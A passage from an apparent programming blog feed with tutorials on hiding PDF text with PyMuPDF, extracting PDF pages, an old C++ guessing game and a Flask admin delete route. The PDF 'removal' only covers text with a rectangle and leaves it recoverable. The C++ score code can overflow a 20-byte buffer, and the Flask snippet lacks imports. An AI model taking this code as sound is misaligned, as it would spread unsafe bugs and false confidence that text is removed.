&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="run C++ code online"></category><category term="cpp.sh"></category><category term="online C++ compiler"></category><category term="C programming"></category><category term="compile C++ code online"></category><category term="share C++ code"></category><category term="C++ coding platform"></category><category term="C++ editor online"></category><category term="instant C++ compilation"></category><category term="online C++ editor"></category><category term="learn C++ online"></category><category term="C++ code execution"></category><category term="C++ development tool"></category></entry><entry><title>Step-by-Step Tutorial: Removing Text from PDFs Using Python</title><link href="https://mosaid.xyz/articles/step-by-step-tutorial-removing-text-from-pdfs-using-python-195.html" rel="alternate"></link><published>2024-02-20T19:28:58+00:00</published><updated>2024-02-20T19:28:58+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-02-20:/articles/step-by-step-tutorial-removing-text-from-pdfs-using-python-195.html</id><summary type="html">&lt;p&gt;Discover how to effortlessly remove text from PDF pages using Python scripting. Our step-by-step guide walks you through the process, enabling you to streamline PDF editing tasks and boost productivity.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In today's digital world, PDF documents are used everywhere, serving as the go-to format for sharing and preserving content. However, there are times when we need to tweak these documents, whether it's removing repetitive headers, footers, or other unwanted text. Fortunately, with the power of Python scripting, this task becomes a breeze. In this article, I'll walk you through a simple yet effective method to remove text from PDF pages using Python.&lt;/p&gt;

&lt;h2&gt;Understanding the Technique&lt;/h2&gt;

&lt;p&gt;The technique we'll be using is simple and straightforward,  we simply draw rectangles over the text we want to remove. By covering the unwanted text with rectangles, we effectively conceal it from view, achieving the desired outcome without altering the original document structure. if the page background is white, we use white rectangles, if it is yellow, we use yellow.&lt;/p&gt;

&lt;h2&gt;Step-by-Step Guide&lt;/h2&gt;

&lt;h3&gt;1. Setting Up the Environment&lt;/h3&gt;

&lt;p&gt;As always, let's begin by setting up a local environment for this script. In my machine, I have a local environment for all the scripts I use in my everyday operations. Open your terminal and execute the following commands:&lt;/p&gt;

&lt;pre class="language-terminal" &gt;
    &lt;code class="language-terminal" &gt;

python -m venv "${HOME}/bin/venv"
source "${HOME}/bin/venv/bin/activate"

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Before we dive into the process, let's ensure we have everything set up. Start by installing the necessary Python libraries, mainly &lt;code&gt;PyMuPDF&lt;/code&gt;. Open your terminal and execute the following command to install it&lt;/p&gt;

&lt;pre class="language-terminal" &gt;
    &lt;code class="language-terminal" &gt;

pip install PyMuPDF

&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;2. Using the Python Script&lt;/h3&gt;

&lt;p&gt;Now, let's get to the heart of the matter. I've prepared a Python script that automates the text removal process. Simply input the coordinates of the text you want to remove, and let the script do the rest.&lt;/p&gt;

&lt;pre class="language-python" &gt;
&lt;code class="language-python" &gt;

import sys
import os
import fitz  # PyMuPDF

def erase_pattern_or_draw_rectangle(pdf_path,color, pattern_rect, output_path=None,page_number=None):
    """
    Erases a pattern or draws a black rectangle over it in each page of the PDF.

    Args:
        pdf_path (str): Path to the PDF file.
        pattern_rect (tuple): Tuple containing the coordinates (x0, y0, x1, y1) of the pattern to erase.
        output_path (str, optional): Path to save the modified PDF. If not provided, modifies the original PDF.
    """
    # Open the PDF
    pdf_document = fitz.open(pdf_path)

    # Iterate over each page
    for page_num in range(len(pdf_document)):
        if page_number is not None and page_number != page_num:
            continue
        # Get the page
        page = pdf_document[page_num]
        page.draw_rect(pattern_rect,
                       color=fitz.utils.getColor(color),
                       fill=fitz.utils.getColor(color),
                       fill_opacity=1)


    # Save the modified PDF if output_path is provided
    if output_path:
        pdf_document.save(output_path)
        pdf_document.close()

if len(sys.argv) &amp;gt;= 7:
    pdf_path = sys.argv[1]
    color = sys.argv[2]
    try:
        # Convert coordinates to integers
        pattern_rect = tuple(map(int, sys.argv[3:7]))
        page_number=None
        if len(sys.argv) == 8:
            page_number=int(sys.argv[7])
        input_filename, input_file_extension = os.path.splitext(pdf_path)
        output_filename = input_filename + "_modified" + input_file_extension
        erase_pattern_or_draw_rectangle(pdf_path, color, pattern_rect, output_filename,page_number)
        print("check output")
    except ValueError:
        print("Error: Invalid coordinates. Please provide four integers for the rectangle coordinates.")
else:
    print(&amp;quot;Usage  : python script.py &amp;lt;pdf_path&amp;gt; &amp;lt;color&amp;gt; &amp;lt;x0&amp;gt; &amp;lt;y0&amp;gt; &amp;lt;x1&amp;gt; &amp;lt;y1&amp;gt; [page_number]&amp;quot;)
    print(&amp;quot;Example: python script.py &amp;lt;pdf_path&amp;gt; white 0 0 10 5&amp;quot;)

&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The script take the following arguments from the command line&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;p&gt; &lt;strong style="color: #000000;"&gt;pdf_path:&lt;/strong&gt; the path of the pdf document we want to edit&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;strong style="color: #000000;"&gt;color:&lt;/strong&gt; the name of the color of the rectangle, only supported color names in the fitz package from pymupdf are allowed, otherwise you get errors&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;strong style="color: #000000;"&gt;four numbers x0 y0 x1 y1:&lt;/strong&gt; representing the coordinates of the rectangle, (x0,y0) the coordinates of the upper left corner of the rectangle and (x1,y1) the coordinates of the lower right corner of the rectangle&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;strong style="color: #000000;"&gt;page_num (optional):&lt;/strong&gt; a page number, if provided we will draw the rectangle in only this page, otherwise we draw the rectangle in all pages, keep in mind that fitz starts page numbering from zero.&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;3. Selecting the Target Text&lt;/h3&gt;

&lt;p&gt;Identifying the text you want to remove is the first step. Whether it's a pesky header, footer, or watermark, if you don't like, just hide it. Just execute the script with black color and some coordinates: 0 0  200 30, these coordinates will create a black rectangle from the upper right corner of the page, with length 200 and width 30. You can proceed from there and keep changing the values untill you cover the exact text you want to hide, then change the color to white. And poof it's gone. just like magic&lt;/p&gt;

&lt;h2&gt;Example Use Cases&lt;/h2&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;p&gt; Removing repeated headers or footers from reports or invoices.&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; Eliminating watermarks or logos from PDF templates.&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; Cleaning up scanned documents by removing OCR-generated text.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Enhancements and Further Exploration&lt;/h2&gt;

&lt;p&gt;Looking to take your PDF editing skills to the next level? Consider exploring advanced techniques such as text extraction, annotation, and metadata editing. With Python by your side, the possibilities are endless.&lt;/p&gt;

&lt;p&gt;You can check my previous articles on the subject of editing PDF documents&lt;/p&gt;
&lt;ul class=""&gt;
    &lt;li&gt;&lt;p&gt; &lt;a href="/articles/step-by-step-guide-to-extracting-pdf-pages-with-python-187/"  &gt;Step-by-Step Guide to Extracting PDF Pages with Python&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;a href="/articles/unlock-pdfs-a-professional-python-guide-for-password-removal-178/" &gt;Unlock PDFs: A Professional Python Guide for Password Removal&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;a href="/articles/how-to-convert-pdf-documents-to-images-using-python-122/" &gt;How To Convert PDF documents to images using python&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;With Python scripting, removing text from PDF pages has never been easier. By following this step-by-step guide, you'll be able to tackle even the most stubborn text with confidence. So go ahead, give it a try, and unlock the full potential of your PDF documents.&lt;/p&gt;

&lt;h2&gt;Additional Resources&lt;/h2&gt;

&lt;p&gt;For more information on Python PDF manipulation, check out these resources:&lt;/p&gt;

&lt;ul&gt;
    &lt;li&gt;&lt;p&gt; &lt;a href="https://pymupdf.readthedocs.io/en/latest/" target="_blank" &gt;PyMuPDF Documentation&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;a href="https://github.com/mstamy2/PyPDF2"  target="_blank" &gt;Python PDF Library&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
    &lt;li&gt;&lt;p&gt; &lt;a href="https://www.blog.pythonlibrary.org/2018/06/07/an-intro-to-pypdf2/"  target="_blank" &gt;PDF Editing with Python: A Comprehensive Guide&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="python"></category><category term="PDF editing"></category><category term="text removal"></category><category term="PDF manipulation"></category><category term="scripting"></category><category term="automation"></category><category term="document editing"></category><category term="Python script"></category><category term="PDF pages"></category><category term="tutorial"></category><category term="guide"></category><category term="step-by-step"></category><category term="efficiency"></category><category term="productivity"></category><category term="document workflow"></category></entry><entry><title>Step-by-Step Guide to Extracting PDF Pages with Python</title><link href="https://mosaid.xyz/articles/step-by-step-guide-to-extracting-pdf-pages-with-python-187.html" rel="alternate"></link><published>2024-01-27T18:46:09+00:00</published><updated>2024-01-27T18:46:09+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-27:/articles/step-by-step-guide-to-extracting-pdf-pages-with-python-187.html</id><summary type="html">&lt;p&gt;Learn how to efficiently extract specific pages or a single page from PDF documents using Python. Our step-by-step tutorial covers the use of PyPDF2 library, along with a convenient shell script, simplifying the process and enhancing your workflow&lt;/p&gt;</summary><content type="html">&lt;p&gt;Have you ever needed to extract specific pages or a single page from a PDF document? Whether you're dealing with lengthy reports, research papers, or manuals, extracting only the pages you need can save time and streamline your workflow. In this article, we'll introduce a Python script that allows you to precisely extract pages from a PDF file, along with a convenient shell script to simplify its usage.&lt;/p&gt;

&lt;p&gt;If you're ready to extract specific pages or a single page from a PDF document, let's get started! Before diving into the Python script, ensure you have the necessary dependencies installed. First, you'll need to have the &lt;code&gt;PyPDF2&lt;/code&gt; package installed. If you haven't already installed it, you can do so using pip:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

    pip install PyPDF2

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Additionally, if you prefer to keep your Python environments isolated, consider setting up a local virtual environment. This allows you to manage package dependencies for individual projects without affecting the system-wide Python installation. Here's how you can create and activate a virtual environment:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

# Create a virtual environment named 'venv'
python -m venv venv

# Activate the virtual environment
source venv/bin/activate  (on Unix/Linux)
venv\Scripts\activate.bat (on Windows)

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Once you've prepared your environment, you're ready to dive into the Python script for extracting pages from PDF documents. Let's explore how to use the script effectively!&lt;/p&gt;

&lt;h3&gt;Understanding the Python Script: pdf_extract.py&lt;/h3&gt;

&lt;p&gt;The core of our solution is a Python script named &lt;code&gt;pdf_extract.py&lt;/code&gt;. This script leverages the PyPDF2 library, a powerful tool for working with PDF files in Python.&lt;/p&gt;

&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

#!/usr/bin/python

from PyPDF2 import PdfReader, PdfWriter
import sys
import os

# Get the command-line arguments
args = sys.argv[1:]
num_args = len(args)

# Check the number of arguments and set the input file, start page, and end page accordingly
if num_args == 2:
    input_file = args[0]
    start_page = int(args[1])
    end_page = start_page
elif num_args == 3:
    input_file = args[0]
    start_page = int(args[1])
    end_page = int(args[2])
else:
    print("Usage: python extract_pages.py input_file start_page [end_page]")
    sys.exit()

print("start page",start_page)
print("end page",end_page)

pdf = PdfReader(input_file)
pdf_writer = PdfWriter()

fn, ext = os.path.splitext(input_file)
output_file = f"{fn}-pages-{start_page}-{end_page}{ext}"

print(f"file contains {len(pdf.pages)} pages")

if end_page == len(pdf.pages):
    end_page = end_page -1
for page in range(start_page,end_page+1):
    current_page = pdf.pages[page]
    pdf_writer.add_page(current_page)

with open(output_file, "wb") as out:
    pdf_writer.write(out)

    print("created", output_file)


&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Here's how the script works:&lt;/p&gt;

&lt;ul&gt;

&lt;li&gt;&lt;p&gt;  &lt;strong&gt;Command-line Arguments:&lt;/strong&gt; The script accepts command-line arguments to specify the input PDF file, the starting page, and optionally, the ending page.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt; &lt;strong&gt;Page Extraction:&lt;/strong&gt; It opens the input PDF file and extracts the specified pages into a new PDF file.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's break down how to use the script:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;  &lt;strong&gt;Usage:&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

python pdf_extract.py input_file start_page [end_page]

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;input_file&lt;/code&gt;: Path to the input PDF file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;start_page&lt;/code&gt;: Page number from which extraction should begin.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;end_page&lt;/code&gt; (optional): Page number at which extraction should end. If not provided, extraction will only include the specified &lt;code&gt;start_page&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;Shell Script for Simplified Usage&lt;/h3&gt;

&lt;p&gt;To make the extraction process even more convenient, we've created a shell script that wraps the Python script. This shell script takes care of activating a Python virtual environment (if you're using one) and calling the Python script with the provided arguments.&lt;/p&gt;

&lt;p&gt;Here's the shell script named &lt;code&gt;pdf_extract.sh&lt;/code&gt;:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

#!/bin/bash
source "${HOME}/bin/venv/bin/activate"  # Activate Python virtual environment (if applicable)
python "${HOME}/bin/pdf_extract.py" "$1" $2 $3  # Call the Python script with arguments

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Usage&lt;/strong&gt;:&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

./pdf_extract.sh input_file start_page [end_page]

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;input_file&lt;/code&gt;: Path to the input PDF file.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;start_page&lt;/code&gt;: Page number from which extraction should begin.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;end_page&lt;/code&gt; (optional): Page number at which extraction should end. If not provided, extraction will only include the specified &lt;code&gt;start_page&lt;/code&gt;.&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/187-pdf-extract-pages.png" alt="Extracting pages from file" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Extracting pages from document&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;h2&gt;Enhancing Your Workflow&lt;/h2&gt;

&lt;p&gt;By using the &lt;code&gt;pdf_extract.py&lt;/code&gt; Python script and the &lt;code&gt;pdf_extract.sh&lt;/code&gt; shell script, you can efficiently extract specific pages or a single page from PDF documents. Whether you're managing academic papers, business documents, or personal files, this tool can help you extract the content you need, simplifying your workflow and saving you time.&lt;/p&gt;

&lt;p&gt;With these tools and tips at your disposal, managing PDF documents will become a breeze. We welcome your feedback! If you have any suggestions or improvements for the script, feel free to share them with us. in a comment&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="PDF extraction"></category><category term="python"></category><category term="Python script"></category><category term="PyPDF2"></category><category term="page extraction"></category><category term="document management"></category><category term="workflow optimization"></category></entry><entry><title>Sharing My Old Programs: Exploring a C++ Number Guessing Game from 2010</title><link href="https://mosaid.xyz/articles/sharing-my-old-programs-exploring-a-c-number-guessing-game-from-2010-186.html" rel="alternate"></link><published>2024-01-25T22:03:38+00:00</published><updated>2024-01-25T22:03:38+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-25:/articles/sharing-my-old-programs-exploring-a-c-number-guessing-game-from-2010-186.html</id><summary type="html">&lt;p&gt;Explore the source code of a classic C++ number guessing game developed in 2010. Uncover the game's logic, scoring system, and high score handling. Delve into the code structure and gain insights into C++ programming principles. Whether you're a seasoned programmer or a newcomer, this project offers a valuable learning opportunity.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction&lt;/h2&gt;

&lt;p&gt;
Welcome to an intriguing journey back to 2010, where a console-based C++ game awaits your exploration. This program, a captivating number guessing game that I designed back in the day, challenges you to decipher a randomly generated 4-digit number.
&lt;/p&gt;

&lt;p&gt;
As we delve into the intricacies of this codebase, you'll uncover the mechanics behind this classic game and gain insights into the foundational aspects of C++ programming.
&lt;/p&gt;

&lt;h2&gt;Code Structure&lt;/h2&gt;

&lt;p&gt;
The code is structured into modular components, facilitating an organized and efficient implementation of the number guessing game. well and also I wasn't yet proficient in object oriented C++ programming yet at the time.
&lt;/p&gt;

&lt;h3&gt;1. tableau_r.h&lt;/h3&gt;
&lt;p&gt;
This header file introduces template functions responsible for handling arrays, including operations like splitting a number into digits, checking duplications, and sorting.
&lt;/p&gt;

&lt;pre class="language-cpp"&gt;&lt;code class="language-cpp"&gt;
// Example code snippet:
// Function to split a number into digits and store them in an array
template &amp;lt;typename type&amp;gt;
void _nb_chiffres(int x, type A) {
    int m, r, d, i;
    i = 0;
    d = 1000;
    do {
        r = x % d;
        m = x / d;
        A[i] = m;
        i++;
        x = r;
        d = d / 10;
    } while (d &amp;gt;= 1);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;pre class="language-cpp"&gt;&lt;code class="language-cpp"&gt;
// Example code snippet:
// Template function to check for duplications in an array
template &amp;lt;typename type&amp;gt;
int dupliq(type A) {
    int s;
    for (int i = 0; i &amp;lt; n; i++) {
        s = A[i];
        for (int j = i + 1; j &amp;lt; 4; j++)
            if (s == A[j]) return 0; // Duplicate digit
    }
    return 1;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;2. number_r.h&lt;/h3&gt;
&lt;p&gt;
In the &lt;code&gt;"number_r.h"&lt;/code&gt; file, functions for generating a random 4-digit number, comparing user input against the generated number, and managing scoring are defined. Additionally, high score handling is implemented using file I/O.
&lt;/p&gt;

&lt;pre class="language-cpp"&gt;&lt;code class="language-cpp"&gt;
// Example code snippet:
// Function to generate a random 4-digit number with specific constraints
int __nb() {
    int x, dplq, index, zero;
    srand((unsigned)time(NULL));
    index = 1;
    do {
        x = rand(); // generate a random number
        if (x &amp;gt; 1000 &amp;amp;&amp;amp; x &amp;lt; 10000) {
            _nb_chiffres(x, NB); // this function stores the digits of the number "x" into an array "NB"
            dplq = dupliq(NB); // this function returns 1 if there are duplicates
                   // otherwise it return 0
            zero = les_zero(NB);
            for (int i = 0; i &amp;lt; 4; i++)
                if (zero == 1 &amp;amp;&amp;amp; dplq == 1)
                    index = 0;
        }
    } while (index == 1); // continue to generate numbers until no duplicates and no zeros
    return x;         // are generated then return the number
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;3. window_r.h&lt;/h3&gt;
&lt;p&gt;
The &lt;code&gt;"window_r.h"&lt;/code&gt; file focuses on console window setup, displaying introductory messages, and providing help during the game. It contributes to the user interface aspects of the program.
&lt;/p&gt;

&lt;pre class="language-cpp"&gt;&lt;code class="language-cpp"&gt;
// Example code snippet:
// Function to set up the console window and display introductory messages
void window() {
    COORD xy;
    xy.X = 80;
    xy.Y = 700;

    SMALL_RECT rec = { 0,0,xy.X-1,xy.Y-1 };

    SetConsoleTitleA("Jeu  de  chiffres  par   ** MOSAID Radouan **   Le 27 avril 2010");
    SetConsoleTextAttribute(handle, FOREGROUND_RED | FOREGROUND_INTENSITY);
    SetConsoleScreenBufferSize(handle, xy);
    SetConsoleWindowInfo(handle, true, &amp;amp;rec);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;4. main.cpp&lt;/h3&gt;
&lt;p&gt;
The main program file, &lt;code&gt;"main.cpp,"&lt;/code&gt; orchestrates the game loop. It handles user input, scoring, and the overall game logic, including functions for comparing user guesses against the generated number.. It includes recursion for playing multiple rounds and ensures a graceful exit.

&lt;/p&gt;

&lt;h2&gt;Game Logic&lt;/h2&gt;

&lt;p&gt;
let's Unveil the inner workings of the number guessing game's logic, offering insights into its fundamental gameplay elements.
&lt;/p&gt;

&lt;p&gt;
The game starts by generating a random 4-digit number using the functions defined in &lt;code&gt;"number_r.h."&lt;/code&gt; Constraints are applied to ensure no duplications and no zeros in the generated number.
&lt;/p&gt;
&lt;p&gt;
User interaction is facilitated through the main program file, &lt;code&gt;"main.cpp"&lt;/code&gt;. Players input their guesses, and the game provides feedback by comparing these guesses against the generated number. Scoring mechanisms deduct points for each attempt, encouraging efficient and strategic guessing.
&lt;/p&gt;

&lt;p&gt;
The scoring system is implemented to evaluate user performance. High scores are stored and retrieved using file I/O operations, allowing players to track their achievements across multiple game sessions.
&lt;/p&gt;

&lt;pre class="language-cpp"&gt;&lt;code class="language-cpp"&gt;
// Example code snippet:
// Scoring and high score handling with file I/O
float score_f(float score) {
  char w[20];
  float x;
  GetWindowsDirectoryA(w,100);
  strcat(w,"\\mosaid_game.txt");
  fstream file(w);
  file&amp;gt;&amp;gt;x;
  if(x&amp;lt;score)
  {
     ofstream fl(w);
     fl&amp;lt;&amp;lt;score;
     return score;
  }
  else return x;

}

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;
File input/output operations are employed to maintain persistent high scores. This ensures that even after exiting the game, players can revisit and strive to surpass their previous achievements. The scoring file serves as a record of players' accomplishments over time.
&lt;/p&gt;

&lt;h3&gt;2. Introductory Messages&lt;/h3&gt;
&lt;p&gt;
At the beginning of the game, players are welcomed with informative messages. These messages provide an overview of the game's rules, constraints, and scoring mechanisms, setting the stage for an engaging experience.
&lt;/p&gt;

&lt;figure&gt;
&lt;img src="/theme/images/articles/images/186-game-intro.png" alt="game introductory messages" style="max-width:100%;height:auto;" &gt;
&lt;figcaption&gt;The Game introductory messages&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3&gt;3. In-Game Communication&lt;/h3&gt;
&lt;p&gt;
Throughout the game, messages are displayed in the console to guide players. This includes feedback on their guesses, alerts about correct digits, and assistance for those seeking help. The use of color attributes enhances the visual appeal and user experience.
&lt;/p&gt;

&lt;figure&gt;
&lt;img src="/theme/images/articles/images/186-game-process.png" alt="the game process" style="max-width:100%;height:auto;" &gt;
&lt;figcaption&gt;The game process&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;
In conclusion, the C++ number guessing game from 2010 provides a nostalgic glimpse into the world of console-based game development during that era. The modular code structure, encompassing header files like &lt;code&gt;"tableau_r.h"&lt;/code&gt;, &lt;code&gt;"number_r.h"&lt;/code&gt;, and &lt;code&gt;"window_r.h"&lt;/code&gt;, showcases an organized and efficient approach to implementing game functionalities.
&lt;/p&gt;

&lt;p&gt;    You can get the entire C++ code from &lt;a href="/static/downloads/the-game-code.zip" target="_blank" rel="noopener noreferrer" class="btn btn-info btn-sm"&gt;here&lt;/a&gt;. To be compiled in the now outdated Bloodshed Dev C++ compiler.&lt;/p&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="C++ game"></category><category term="number guessing game"></category><category term="2010 game development"></category><category term="C programming"></category><category term="code analysis"></category><category term="game logic"></category><category term="scoring system"></category><category term="high score handling"></category><category term="code structure"></category><category term="programming principles"></category></entry><entry><title>Implementing Secure Delete Functionality in a Flask Application</title><link href="https://mosaid.xyz/articles/implementing-secure-delete-functionality-in-a-flask-application-185.html" rel="alternate"></link><published>2024-01-25T11:30:55+00:00</published><updated>2024-01-25T11:30:55+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2024-01-25:/articles/implementing-secure-delete-functionality-in-a-flask-application-185.html</id><summary type="html">&lt;p&gt;Discover how to implement a secure delete functionality for books in your Flask application. This comprehensive guide covers backend considerations for authentication, file deletion, and database operations, complemented by a compact yet effective Jinja2 template for the frontend. Enhance user experience with a small «Delete» button and a JavaScript confirmation popup, preventing accidental deletions. Explore the world of Flask functionalities and feel free to reach out for personalized articles tailored to your specific interests&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Introduction:&lt;/h2&gt;

&lt;p&gt;Dealing with the delete functionality in a web application requires careful consideration of security measures to prevent unauthorized access and potential risks. In this article, we'll explore how to implement a secure delete feature in a Flask application, focusing on the example of deleting books. We'll discuss the backend implementation using Flask, SQLAlchemy, and the Jinja2 template provided.&lt;/p&gt;

&lt;h2&gt;Prerequisites:&lt;/h2&gt;

&lt;p&gt;Ensure you have a Flask application set up with the necessary dependencies, including Flask-SQLAlchemy for database interactions.&lt;/p&gt;

&lt;h2&gt;Backend Implementation:&lt;/h2&gt;

&lt;p&gt;Let's dive into the backend code for handling book deletions. We assume that you have an &lt;code&gt;admin&lt;/code&gt; &lt;strong style="color: #000000;"&gt;Blueprint&lt;/strong&gt; set up for administrative tasks.&lt;/p&gt;

&lt;pre class="language-python" &gt;
    &lt;code class="language-python" &gt;

# Import necessary modules
from flask import Blueprint, render_template, url_for, flash, redirect
from flask_login import login_required, current_user
from your_application import db  # Replace with your actual application instance
from your_application.models import Book  # Replace with your actual Book model

# Create the admin Blueprint
admin_blueprt = Blueprint('admin', __name__)

# Route for deleting a book
@admin_blueprt.route('/manage_books/&lt;int:id&gt;/delete', methods=['POST'])
@login_required
def delete_book(id):
    # Check if the current user is an admin
    if not current_user.is_admin():
        flash('You do not have permission to access this page', 'danger')
        return redirect(url_for('app.index'))  # Adjust the redirection as needed

    # Retrieve the book from the database or return a 404 error if not found
    book = Book.query.get_or_404(id)

    # Construct file paths for book-related files
    static_folder = current_app.static_folder
    pdf_path = f'{static_folder}/pdf-books/{book.slug}'

    try:
        # Remove book-related files
        os.remove(pdf_path)
        thumb = f'{static_folder}/pdf-books/thumbnails/{book.thumb}'
        os.remove(thumb)
        image = f'{static_folder}/pdf-books/banners/{book.image}'
        os.remove(image)
    except Exception as e:
        # Handle file deletion errors (log, flash, or ignore as appropriate)
        app.logger.error(f"Error deleting files for book {book.id}: {str(e)}")

    # Delete the book from the database
    db.session.delete(book)
    db.session.commit()

    flash('Book deleted.', 'success')
    return redirect(url_for('app.index'))  # Adjust the redirection as needed

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Frontend Implementation:&lt;/h2&gt;

&lt;p&gt;To allow administrators to delete books, integrate the following Jinja2 template snippet into your HTML views. Place this code where you want the delete button to appear, ensuring that it's wrapped inside a conditional block to check if the user is authenticated and an admin.&lt;/p&gt;

&lt;pre class="language-bash" &gt;
    &lt;code class="language-bash" &gt;

{% if current_user.is_authenticated and current_user.is_admin() %}
    &amp;lt;form class="inline" method="post"
        action="{{ url_for('admin.delete_book', id=book.id, next=url_for('app.index')) }}"&amp;gt;
        &amp;lt;input type="hidden" name="csrf_token" value="{{ csrf_token() }}"/&amp;gt;
        &amp;lt;button type="submit" class="btn btn-danger btn-sm"
                onclick="return confirm('Are you sure?');"&amp;gt;Delete
        &amp;lt;/button&amp;gt;
    &amp;lt;/form&amp;gt;
{% endif %}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;you'll get a compact yet effective UI element. The template generates a small "Delete" button, suitable for placement anywhere within your application's views. Upon clicking the button, a JavaScript popup window prompts the user to confirm the deletion. This additional confirmation step adds an extra layer of precaution, preventing accidental deletions. The onclick attribute in the button triggers the confirmation dialog, asking the user if they are sure about the deletion. The combination of a discrete button and a clear confirmation dialog enhances the overall user experience and helps prevent unintentional deletions. Feel free to customize the button's appearance or integrate it into different parts of your application to suit your design preferences.&lt;/p&gt;

&lt;figure&gt;
    &lt;img src="/theme/images/articles/images/186-screenshot11.png" alt="screen shot of the admin buttons" style="max-width:100%;height:auto;" &gt;
    &lt;figcaption&gt;Screenshot of the admin buttons&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Implementing a secure delete functionality in a Flask application involves a combination of backend and frontend considerations. Ensure that the backend code is protected against unauthorized access and follows best practices for file deletion and database operations. The provided Jinja2 template snippet facilitates the creation of a delete button in your views, allowing administrators to interact with the secure delete feature.&lt;/p&gt;

&lt;p&gt;By following these steps, you can enhance the functionality of your Flask application while maintaining a strong focus on security. Remember to adapt the code to your specific application structure and requirements.&lt;/p&gt;

&lt;h2&gt;Conclusion:&lt;/h2&gt;

&lt;p&gt;In conclusion, this article has guided you through the secure implementation of a delete functionality for books in a Flask application. By incorporating backend measures to handle authentication, authorization, and secure file deletion, and by using a compact yet effective Jinja2 template for the frontend, you've created a reliable and user-friendly feature. The combination of a small, strategically placed delete button and a JavaScript confirmation popup ensures a seamless user experience with an added layer of precaution against accidental deletions.&lt;/p&gt;

